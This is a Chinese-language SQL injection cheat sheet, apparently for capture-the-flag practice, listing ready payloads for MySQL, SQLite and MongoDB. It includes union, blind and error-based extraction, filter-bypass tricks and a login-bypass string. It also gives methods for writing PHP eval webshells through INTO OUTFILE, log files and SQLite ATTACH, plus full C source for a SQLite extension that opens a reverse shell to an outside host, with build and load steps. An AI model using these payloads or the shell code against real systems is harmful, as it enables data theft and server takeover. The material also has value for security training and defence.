SQL注入总结

年来年去年年忙,为他人作嫁衣裳

仰天大笑出门去,独对东风舞一场

MySQL

基础语法

注释符

1
2
3
#
/**/
--+

常用函数

1
2
3
4
5
6
7
8
9
version()		# 版本
user() # 用户名
database() # 数据库名
@@datadir # 数据库路径
@@version_compile_os # 操作系统版本
concat(str1,str2,...) # 没有分隔符地连接字符串
concat_ws(separator,str1,str2,...) # 有分隔符地连接字符串
group_concat(str1,str2,...) # 以逗号分隔每一条数据
file_load('/etc/passwd') # 查看文件

union 注入

1
2
3
4
5
6
order by 3
union select 1,2,3
union select 1,database(),3
union select 1,(select table_name from information_schema.tables where table_schema='ctf' limit 0,1),3
union select 1,(select column_name from information_schema.columns where table_schema='ctf' and table_name='ctf' limit 0,1),3
union select 1,(select flag from ctf.ctf limit 0,1),3

布尔盲注

1
2
3
4
5
and length(database())>='5'
and substr(database(),1,1)='c'
and substr((select table_name from information_schema.tables where table_schema='ctf' limit 0,1),1,1)='c'
and substr((select column_name from information_schema.columns where table_schema='ctf' and table_name='ctf' limit 0,1),1,1)='c'
and substr((select flag from ctf.ctf limit 0,1),1,1)='f'

时间盲注

1
2
3
4
5
and if(length(database())>5,sleep(5),1)
and if(substr(database(),1,1)='c',sleep(5),1)
and if(substr((select table_name from information_schema.tables where table_schema='ctf ' limit 0,1),1,1)='c',sleep(5),1)
if(substr((select column_name from information_schema.columns where table_schema='ctf' and table_name='ctf' limit 0,1),1,1)='c',sleep(5),1)
and if(substr((select flag from ctf.ctf limit 0,1),1,1)='c',sleep(5),1)

报错注入

1
2
3
4
5
6
7
# updatexml 可同等替换为extractvalue()

and updatexml(1,concat(0x7e,(select database()),0x7e),1)
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='ctf' limit 0,1),0x7e),1)
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='ctf' and table_name='ctf' limit 0,1),0x7e),1)
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)

堆叠注入

1
2
;show databases;
;show tables;

二次注入

宽字节注入

原理:先加 %df,再加单引号,因为反斜杠的编码是 %5c,而 GBK 编码中,%df%5c 是繁体字的“連”,单引号成功逃逸

1
2
3
4
5
6
7
8
9
0%df' union select 1,user(),3
0%df' union select 1,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),3
0%df' union select 1,(
select column_name from information_schema.columns where
table_schema=(select database()) and
table_name=(
select table_name from information_schema.tables where table_schema=(select database())
) limit 0,1
),3

万能密码

1
username=admin' or '1'='1 &password=

内联注释

1
/*!select*/

双写绕过

若删除关键字以达成过滤,此时就可以双写关键字来达到绕过

大写绕过

MySQL 对大小写不敏感

编码绕过

urlencode

ascii

hex

unicode

空格被过滤

()嵌套,任何可以计算结果的语句都可以用括号包裹

/**/

反引号

%a0:空格

%0a:新建一行

%09:TAB键(水平)

%0b:TAB键(垂直)

%0d:return 功能

+:一般适用于 GET 方法

逗号被过滤

join绕过

1
2
3
union select * from ((select 1)a join (select 2)b join (select 3)c)
<=>
union select * from 1,2,3

from...for绕过

1
2
3
substr('password', 5, 1)
<=>
substr('password' from 5 for 1)

过滤比较符号

greatest()返回较大的值,代替比较大小

1
2
3
ascii(susbstr(database(),1,1))<=150
<=>
greatest(ascii(susbstr(database(),1,1)),150)=150

in()代替=

1
2
3
ascii(susbstr(database(),1,1))=150
<=>
ascii(susbstr(database(),1,1)) in (150)

like匹配

%匹配任何字符串的零个或多个字符

_匹配任何单个字符

1
and (select database()) like '___'

regexp匹配

1
2
and (select database()) regexp '^c'
and (select database()) regexp 'f$'

过滤 and or

&& || 替换

异或绕过

1
1^((select database())='ctf')^1

过滤 select

利用数值计算盲注或时间盲注

1
|| ascii(mid(user(),1,1) )=97

限制 from 结合

from.来代替from

敏感函数

1
2
3
4
5
6
# `函数名`() <=> 函数名()
id=1 and(select `load_file`(0x2f6574632f706173737764) is not null)

# 这里关键是反单引号的使用,成功逃过了敏感字符串"mysql.user"
# id=161444.0有两个作用,第一让原来的查询返回空,第二这是一个小数,小数后可以直接接关键字,而不用空格
id=1614444.0Union(select-1.0,password,3,4,5,6,7,`user`FROM(`mysql`.user))

写入 WebShell

利用 union select

1
2
union select 0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22 into outfile "/var/www/html/shell.php"
union select "<?php @eval($_POST['g']);?>" into outfile "/var/www/html/shell.php"

利用分隔符

1
2
3
4
INTO OUTFILE '/var/www/html/shell.php' lines terminated by 0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22
INTO OUTFILE '/var/www/html/shell.php' fields terminated by 0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22
INTO OUTFILE '/var/www/html/shell.php' columns terminated by 0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22
INTO OUTFILE '/var/www/html/shell.php' lines starting by 0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22

利用 log

1
2
3
4
5
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/shell.php';
select '<?php eval($_GET[g]);?>'
set global general_log=off;

慢日志包含

1
2
3
4
5
show variables like '%slow%';
set global slow_query_log=on;
set global slow_query_log_file='/var/www/html/shell.php';
select '<?php eval($_GET[g]);?>' from mysql.db where sleep(10);
select '<?php eval($_GET[g]);?>' from mysql.db where sleep(10);

HTTP 参数污染

如果WAF只单独检查每个参数的值,或者是将整个请求数据作为单个字符串处理,这样的安全机制将无法检测到HPP攻击

HTTP后端 总体解析结果 例子
ASP.NET/IIS 特定参数所有内容进行拼接 par1=val1,val2
ASP/IIS 特定参数所有内容进行拼接 par1=val1,val2
PHP/Apache 最后一次出现的参数内容 par1=val2
PHP/Zeus 最后一次出现的参数内容 par1=val2
JSP,Servlet/Apache Tomcat 第一次出现的参数内容 par1=val1

SQLite

基础语法

注释

1
2
--
/**/

常用函数

1
group_concat(str1,str2,...)	# 以逗号分隔每一条数据

sqlite_master 表

1
2
3
4
5
6
7
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);

表中的 sql 字段中记录着你建表留下的完整的记录

union 注入

1
2
3
union select 1,2,3
union select 1,(select sql from sqlite_master limit 0,1),3
union select 1,(select flag from ctf limit 0,1),3

布尔盲注

SQLite 没有 ascii,mid,left 等函数

在爆破 sql 字段的时候,最好先用 hex 编码

1
substr((select hex(group_concat(sql)) from sqlite_master),1,1)>1

时间盲注

1
(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)

模糊匹配

*匹配任何字符串的零个或多个字符

?匹配任何单个字符

1
2
and (select database()) glob '???'
and (select database()) like '???'

写入 webshell

当注入处支持堆叠时

1
2
3
ATTACH DATABASE '/var/www/html/shell.php' AS shell;
create TABLE shell.exp (webshell text);
insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php eval($_POST[0]);?>\r\n\r\n');

加载动态库

SQLite 从3.3.6版本提供了支持扩展,通过load_extension函数

so 扩展

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = 2333;
char *ip = "vps";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);

int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);

fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}

return rc;
}

编译

1
gcc -g -fPIC -shared exp.c -o exp.so

然后直接加载,即可反弹 shell

1
select load_extension('/root/exp.so');

MongoDB

基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mongodb条件操作符
比较:
$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
//查找用户名不为admin且password为123456的用户
db.user.find({'username': {$ne:'admin'}, 'password': '123456'})

/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

条件:
$in : in
$nin: not in
$all: all
$or:or
$and: and
$not: 反匹配(1.3.3及以上版本)
$exist:
//如果记录中有包含该属性的全部返回
db.collection.find({title:{$exists:true}});
//查找用户名为在这个数组中的用户信息
db.user.find({'username': {$in: ['admin', 'JrXnm']}})

正则:
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
正则的另一种写法:db.user.find({'username':/jrx/i})

PHP 永真式注入

1
2
3
4
5
$data = array(
'username' => $_REQUEST['username'],
'password' => $_REQUEST['password']
);
$cursor = $collection->find($data);

传入username[$ne]=1&password[$ne]=1构造查询用户名密码都不等于1的用户,即返回所有用户

PHP shell 注入

execute()/executeCommand()方法执行拼接的 MongoDB 命令语句导致

闭合语句后利用 MongoDB 的语法进行盲注等操作

JS 注入($where 注入)

$where操作符表示执行其中的 JS 内容

可进行绕过、盲注、JS 命令执行等操作